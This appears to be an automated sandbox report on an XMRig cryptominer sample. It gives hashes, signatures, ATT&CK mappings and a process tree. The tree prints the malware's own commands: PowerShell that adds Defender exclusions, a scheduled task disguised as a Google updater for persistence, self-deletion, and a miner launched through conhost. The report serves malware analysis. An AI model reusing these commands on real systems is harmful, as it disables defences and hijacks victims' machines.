xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1800s
max time network
1801s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1424 created 1204	1424	DLKFnAGYJBNTnxwq.exe	11
PID 1424 created 1204	1424	DLKFnAGYJBNTnxwq.exe	11
PID 1424 created 1204	1424	DLKFnAGYJBNTnxwq.exe	11
PID 1424 created 1204	1424	DLKFnAGYJBNTnxwq.exe	11
PID 3068 created 1204	3068	updater.exe	11
PID 3068 created 1204	3068	updater.exe	11
PID 3068 created 1204	3068	updater.exe	11
PID 3068 created 1204	3068	updater.exe	11
PID 2948 created 1204	2948	conhost.exe	11
PID 3068 created 1204	3068	updater.exe	11

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral9/memory/2272-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2272-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2824	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3068	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
648	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/memory/2272-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2272-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3068 set thread context of 2948	3068	updater.exe	51
PID 3068 set thread context of 2272	3068	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	DLKFnAGYJBNTnxwq.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2284	schtasks.exe
2944	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1488	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10dc9134b84fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1424	DLKFnAGYJBNTnxwq.exe
1424	DLKFnAGYJBNTnxwq.exe
2388	powershell.exe
1424	DLKFnAGYJBNTnxwq.exe
1424	DLKFnAGYJBNTnxwq.exe
2712	powershell.exe
1424	DLKFnAGYJBNTnxwq.exe
1424	DLKFnAGYJBNTnxwq.exe
1424	DLKFnAGYJBNTnxwq.exe
1424	DLKFnAGYJBNTnxwq.exe
2816	powershell.exe
3068	updater.exe
3068	updater.exe
840	powershell.exe
3068	updater.exe
3068	updater.exe
1652	powershell.exe
3068	updater.exe
3068	updater.exe
3068	updater.exe
3068	updater.exe
2948	conhost.exe
2948	conhost.exe
3068	updater.exe
3068	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	840	powershell.exe
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeDebugPrivilege	3068	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1488	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1488	WMIC.exe
Token: SeSecurityPrivilege	1488	WMIC.exe
Token: SeTakeOwnershipPrivilege	1488	WMIC.exe
Token: SeLoadDriverPrivilege	1488	WMIC.exe
Token: SeSystemtimePrivilege	1488	WMIC.exe
Token: SeBackupPrivilege	1488	WMIC.exe
Token: SeRestorePrivilege	1488	WMIC.exe
Token: SeShutdownPrivilege	1488	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1488	WMIC.exe
Token: SeUndockPrivilege	1488	WMIC.exe
Token: SeManageVolumePrivilege	1488	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1488	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1488	WMIC.exe
Token: SeSecurityPrivilege	1488	WMIC.exe
Token: SeTakeOwnershipPrivilege	1488	WMIC.exe
Token: SeLoadDriverPrivilege	1488	WMIC.exe
Token: SeSystemtimePrivilege	1488	WMIC.exe
Token: SeBackupPrivilege	1488	WMIC.exe
Token: SeRestorePrivilege	1488	WMIC.exe
Token: SeShutdownPrivilege	1488	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1488	WMIC.exe
Token: SeUndockPrivilege	1488	WMIC.exe
Token: SeManageVolumePrivilege	1488	WMIC.exe
Token: SeLockMemoryPrivilege	2272	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2712 wrote to memory of 2284	2712	powershell.exe	32
PID 2712 wrote to memory of 2284	2712	powershell.exe	32
PID 2712 wrote to memory of 2284	2712	powershell.exe	32
PID 2824 wrote to memory of 2660	2824	cmd.exe	33
PID 2824 wrote to memory of 2660	2824	cmd.exe	33
PID 2824 wrote to memory of 2660	2824	cmd.exe	33
PID 2816 wrote to memory of 2260	2816	powershell.exe	39
PID 2816 wrote to memory of 2260	2816	powershell.exe	39
PID 2816 wrote to memory of 2260	2816	powershell.exe	39
PID 648 wrote to memory of 3068	648	taskeng.exe	40
PID 648 wrote to memory of 3068	648	taskeng.exe	40
PID 648 wrote to memory of 3068	648	taskeng.exe	40
PID 1652 wrote to memory of 2944	1652	powershell.exe	45
PID 1652 wrote to memory of 2944	1652	powershell.exe	45
PID 1652 wrote to memory of 2944	1652	powershell.exe	45
PID 3068 wrote to memory of 2948	3068	updater.exe	51
PID 2980 wrote to memory of 1488	2980	cmd.exe	46
PID 2980 wrote to memory of 1488	2980	cmd.exe	46
PID 2980 wrote to memory of 1488	2980	cmd.exe	46
PID 3068 wrote to memory of 2272	3068	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2284
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2944
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2980
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2988
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2948
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2272

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2660

C:\Windows\system32\taskeng.exe
taskeng.exe {6C61EF2A-E99A-4252-A3B1-9A5FEA7805C5} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:648
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3068

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 539KB
SHA256 8f572447bb41a2d30a180c106d750eddf57da7d00acb84a2c2485bd35f5f90fc
MD5 92ff48491b8de925725a43ae3b999dda
SHA1 a980ea9e5ee4e4e404464788d94b314f15d2dbb1
SHA512 e41f5b257fb9bdecc7d540803ae1bcf6eee94aac3cf8e347db3160ef08c47d319f5199564d078a2107a38defc574d0d32815d4e27a942dbb0f8ae96704cfcec6
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWb:rWVipGdVZjdqVC5jd88FC3bc+uxWb
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 310KB
SHA256 d5f7418960b5f4102c67b627b3407dd25f55c88d70c50b8ac94870d4837fb271
MD5 0d3dbab2d78251202fe950e2525d45de
SHA1 4b67ad15f4c190781371b612c12dd81ea6e78939
SHA512 efea54d85e4384fe82c0361a325142b587cb138600028f0588db68d509116a22a0aed17825052bf6165932cb8efd55938a549f47813cc9fc19815fcd0e084c2f
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3FeFK:rWVi46hyqG2ckwLxgajd0mAVwb5T3F
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 0b93fb8d484239789961006d3ba3cf73826a9a364739b4ff3e0e484bef7c8dfd
MD5 04730a8cc6be913418d6f045e96f8808
SHA1 515935eeca30c0cd49fb6d15e0675a262626a4f9
SHA512 451658c0313e8ba9625d1812815acd6042a2b3d56dfcbc63082d40dbdc1b1bcd27a45451f66cded990ec418c8eadedc437ce24e9bbd5e4aaf38ecfaf47ea9b96
SSDEEP 96:UjlbKC9M8DnqvsqvJCwozjlbKC9M8DnqvsEHyqvJCworZiLiQH+z716XlUVa:4lbX/Uo/lbX/AHnorZPbz716t
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 255KB
SHA256 f6f3411b0f8176288f210ce78c93e571d69e1c7a43951dc964f3fd12b1905055
MD5 121873f48f06e49c4c139eb82778e6e7
SHA1 d45cbc9f4e2cfb1b80f4228d4760b31105a0b901
SHA512 0f0394873fa491a08899aeadd3620e101605e09e95c284c122cfc246db9ec0229a92f606390d2f90389eac877b891c7d3802eec4aa704ef4225b5324558b9133
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T7:rWVi46hyqG2ckwLxgajd0mAVwb5T7
MD5 SHA1 SHA512 SSDEEP

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memory/840-50-0x00000000010A0000-0x0000000001120000-memory.dmp

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memory/840-51-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

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memory/840-46-0x00000000010A0000-0x0000000001120000-memory.dmp

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memory/840-47-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

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memory/840-45-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

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memory/840-49-0x00000000010A0000-0x0000000001120000-memory.dmp

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memory/840-48-0x00000000010A0000-0x0000000001120000-memory.dmp

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memory/1424-0-0x000000013FC70000-0x000000013FE81000-memory.dmp

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memory/1424-28-0x000000013FC70000-0x000000013FE81000-memory.dmp

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memory/1652-56-0x0000000000F50000-0x0000000000FD0000-memory.dmp

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memory/1652-59-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

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memory/1652-58-0x0000000000F50000-0x0000000000FD0000-memory.dmp

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memory/1652-54-0x0000000000F50000-0x0000000000FD0000-memory.dmp

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memory/1652-57-0x0000000000F50000-0x0000000000FD0000-memory.dmp

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memory/1652-53-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

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memory/1652-55-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

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memory/2272-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-117-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-115-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-113-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-111-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-109-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-107-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-105-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-103-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-68-0x00000000000F0000-0x0000000000110000-memory.dmp

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memory/2272-67-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-69-0x00000000001B0000-0x00000000001D0000-memory.dmp

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memory/2272-70-0x00000000001D0000-0x00000000001F0000-memory.dmp

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memory/2272-81-0x00000000001D0000-0x00000000001F0000-memory.dmp

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memory/2272-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-74-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2272-80-0x00000000001B0000-0x00000000001D0000-memory.dmp

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memory/2388-11-0x00000000022A0000-0x0000000002320000-memory.dmp

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memory/2388-13-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

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memory/2388-12-0x00000000022A0000-0x0000000002320000-memory.dmp

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memory/2388-7-0x0000000002420000-0x0000000002428000-memory.dmp

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memory/2388-6-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

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memory/2388-5-0x000000001B110000-0x000000001B3F2000-memory.dmp

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memory/2388-8-0x00000000022A0000-0x0000000002320000-memory.dmp

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memory/2388-9-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

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memory/2388-10-0x00000000022A0000-0x0000000002320000-memory.dmp

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memory/2712-21-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

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memory/2712-20-0x00000000023A0000-0x00000000023A8000-memory.dmp

